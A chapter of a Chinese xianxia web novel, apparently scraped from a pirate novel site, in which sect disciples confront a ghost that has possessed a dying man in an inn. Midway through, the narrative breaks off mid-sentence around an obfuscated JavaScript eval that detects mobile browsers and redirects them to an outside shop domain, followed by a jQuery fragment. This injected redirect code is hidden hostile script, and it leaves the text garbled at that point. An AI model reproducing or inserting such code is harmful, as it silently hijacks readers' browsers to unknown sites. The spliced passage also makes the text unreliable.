文趣网 > 其他小说 > 剑修打野实录 > 6.因仇因怨·陆
    “师姐!”文殊最先反应过来,她离得最近,扑过去伸手想抓住云端月,却只抓住一片衣角。

    魏春有大惊,先扶起文殊,左右观察:“大师姐呢?!”

    李乘歌迅速拔剑,退至二人身旁。

    文殊想起云端月提及过关于刘府厉鬼的猜想,迅速反应过来:“是界,师姐说的没错,刘府真的有厉鬼存在。”

    她警惕着四周,单手捏诀,妙德离鞘,浮于半空。魏春有被师姐师兄围在中间,她还未至金丹,没有灵剑,只有一把大师姐以往用过的铁剑。她举起铁剑背靠着师姐师兄,额头冒汗声音虚颤:“……大师姐怎么办,她一个人,肯定比我们凶险得多。”

    文殊无情道:“与其担心大师姐不如担心我们自己。”

    “那我们现在应该做什么?等师姐回来?”

    李乘歌摇头:“刘公子尚未寻到,李夫人也不知安危,我们得对任务人负责。”

    正门此刻是无法走了,文殊御剑一周,回到二人身旁,道:“只能翻窗。”

    魏春有不假思索地点头,李乘歌面上刚流露出一抹不赞同的神色,却因太过熟识,二女不给他质疑的机会,一人拉着他一只手二拖一带着他稳稳立于妙德剑身上。飘至三楼一扇窗前,文殊动作轻柔地往里慢慢推动。

    实在是好运,这间客房并无人居住,屋内漆黑一片空无一人,三人一个接一个偷偷摸摸地爬窗进去。

    李乘歌对自己愈发熟练的翻窗技术略微汗颜。

    她们蹲在角落无声看着对方,文殊不知从哪掏出来的刘浩外袍又一次递给李乘歌,眼神示意他试试。

    魏春有本来还心中隐隐不安,甫一见到她拿出的物什,神情微妙地道:“二师姐你好变态……”

    文殊扭头,神色依旧冷淡,冷淡地上手掐她。

    李乘歌对两人的掐架早已习惯,自顾自施法,匕转动一圈,指向的方位如他所料,正是午后他寻李芸时来过的厢房。既能无声无息地将刘浩带离刘府,必是比二师姐还要强大的生物,但四人当时皆未感知到任何怨气,说明厉鬼并未对他动手。

    可他被带离刘府后,竟然是带去了李芸所居的厢房?

    他熟练地拦在二人之间,将情况告知,魏春有躲过文殊的锁喉,突然道:“李芸不会被那只厉鬼夺舍了吧?”

    李乘歌也不清楚,但能确定的就是,无论她是不是厉鬼,情况对他们都很不利,它困住大师姐,说明它现在很可能就在这家客栈,而已她们如今的境界,没有大师姐,三人加在一起都只有被打的份。

    另二人自然也意识到此刻的境况。魏春有心中的不安愈发大,大师姐不在,又想到这家客栈有只厉鬼不知在何处窥伺着她们,更是心底发毛,退缩之意一起,便忍不住低声:“要不等到大师姐出来再说?师姐让我们不能逞强的,我们对上厉鬼也只是送死而已,而且刘浩那么坏的人,死了也是活该……”

    她声音越来越低,自己也觉得这话荒唐。剑宗有一宗旨,数百年传承:行执之事,查实诛邪尚为次,更贵一“护”字。

    所保护的对象,并不只是刘浩,也包括李芸,包括那只涉案的厉鬼,以及案件牵涉到的所有个体。在事态进一步恶化之前,她们需要做、也能够做的事情还有很多。

    既要让刘浩这样的加害者受到应有的惩罚,也要防止受害者因仇恨迷失心智、因复仇走上绝路。她们本就承受了太多苦难,再以自我毁灭的方式才能够讨回公道,本身就是另一种“不公平”。

    不让案件的伤害继续扩大,也是她们作为修道者必须承担的职责。

    她年纪还太小,不明白其中的决心。

    李乘歌道:“师妹,大长老总挂在嘴边的那句话你还记得吗?”

    魏春有自觉失言,但依旧郁闷,摸了摸眼睛,闷闷道:“知其不可为而为之者,修士也;一意孤行逞能者,亦为修士也……”

    文殊面上看不出情绪,开口时却听得出缓和之意:“若实在害怕便在此处等我们。”

    李乘歌摸摸她的头,道:“不必愧疚,任何选择都不会有人责怪你,师妹不怕,万事有师姐师兄在。”

    魏春有听得心慌,忙捂住二人的嘴,这样的氛围也太古怪了些!说的话完全像是她们的最后一面,她深觉太不吉利,魏春有一把拽住两人的袖子,摇头如拨浪鼓:“不要不要,我们一起,无论发生什么事都要一起面对。”她声音带上些许哭腔,不知是急的还是怕的。

    二人看她就像看小孩,也确实是个小孩,胆怯,反复,在她们眼里都不是什么大碍。最终还是没让她一个人在这等着,真让她一个人她们也不放心。

    简单商讨一番,少顷,三人小心踏出房门,李乘歌打头,文殊垫底。行时特意收起脚步声,怕惊扰睡梦中的客人。只是客栈规模不大,即便放慢了步子,也很快挪至李芸客房前。

    文殊从储物袋中摸出一张红纸人,为纸人覆上一丝灵力,松开手,纸人飘飘然落下,而后立于板上。

    似有意识般,无风自动,低空漂浮着从门框缝里挤了进去。红纸人暂时成为了她的眼睛,替她勘察房内情景。

    飘进房间,厢房内陈设很少,只有一张桌子两张椅子和居中置放着的床。屋内很暗,纸人视线有限,只模糊瞧见桌上趴着一个宽大的身影。

    她往趴着的那人飘去,绕到另一边,看清了他的脸。

    是刘浩。

    他似乎并未意识到自己已被带离了刘府,仍平稳地睡着,神态安详。

    见他平安,文殊几不可查地松了口气,引着纸人又往床榻飘去,飘得近了,见被子鼓起,榻上还躺着个人。脸被被子蒙着,纸人又拖又拽费力地掀开被子一角,入目是李芸的脸。

    她亦昏睡着,文殊正欲凑近观察。

    倏尔,一丝异样从她心头划过。

    循着怪异的直觉转身,下一瞬,与一张骤然放大的苍白的脸对视上。他不知道是什么时候出现的,悄然无息地站在纸人的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17823548|211142||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    背后,一直盯着她。

    文殊心跳都漏了一拍,当机立断,断开了对纸人的操控。

    “快走……”她话未说完,便被突然打开的门给打断。

    一身白衣,瘦骨嶙峋的男子站在门口,直勾勾看着蹲在一旁的她们。抬眼望去,那是一张熟悉的脸,是本该躺在塌上,所有人都以为昏睡不醒的刘宁。

    他此刻整个人阴气森森,长发散落,白衣罩在他身上,形销骨立,形容恐怖。

    危险的预感直冲头顶,李乘歌冷汗都下来了,金丹期的二人皆已握住腰间的佩剑,无一不是浑身紧绷,随时拔剑的姿态。魏春有白着张脸,心底在狂啸。

    “进来……”刘宁嘶哑着嗓子对她们说了第一句话。

    三个人僵在原地,动也不是不动也不是。

    刘宁走进屋里,一脚把趴在桌上的刘浩给踹开,悠然坐了下去,见三小只还站在原地,朝她们闲闲招了招手。

    已经走到这也不可能逃了,三人对视一眼,点点头,一起走进去,待最后一个人踏进来时,大门“砰”的一声猛地关上,魏春有惊地肩膀一抖,缩在文殊身后只露出一双眼睛。

    她们也不敢坐,而且也没位置给她们坐,三人贴着墙壁排排站,满脸写着警惕。

    半晌,文殊最先开口:“你把刘宁怎么了?”

    刘宁黑洞洞的眼睛看过来,笑道:“你怎么知道我不是刘宁?”

    “他身体亏空,便是大罗神仙来了也救不回来,如何能这么稳当地坐在这里,还能一脚踹翻这么大重量的刘浩。”文殊平铺直述,声音丝毫起伏未有。

    “小仙长,我可没怎么他,这都是他自愿的,自愿将灵魂献祭于我,让我为他母亲报仇。”他握了握拳,扭了扭手腕,显然还不太适应这副身体,又自顾自道:“就是可惜,等到今日我才能完全掌控这具身体。”

    文殊曾看过相应书籍,书中有记载,献祭并非一瞬而成,魂魄和身体需要一定的磨合,因此献祭在一开始时,身体会由献祭者和被献祭者轮流控制,不过最终一定是被献祭的那方完全与身体融合。

    听他这句话的意思,刘宁应是彻底消亡了。

    二人一来一回,你问我答,竟诡异的和谐。魏春有很是不解,本以为会和厉鬼有场恶战,害得她胆战心惊许久,此刻瞧他不紧不慢的态度,忍不住道:“你引我们来,又将师姐困住,到底想做什么?”

    “刘宁”抬头望向她,有些古怪地笑了一声,很短促,不细听都只以为是气声,不消任何人答复,他缓缓抬起一只手,掌心之中凝聚起怨气。

    魏春有目瞪口呆。

    她只是问问而已!

    李乘歌抬手欲制止,“刘宁”动作却更快,攻击猛地释出,却并非朝她们来,而是转向瘫在地上的刘浩。顺势看去,却见那怨气并未在他身上留下一丝痕迹,就这么凭空消失了。

    李乘歌和文殊对视一眼,从对方眼里看出确信,是法器,还是高品阶的护身法器。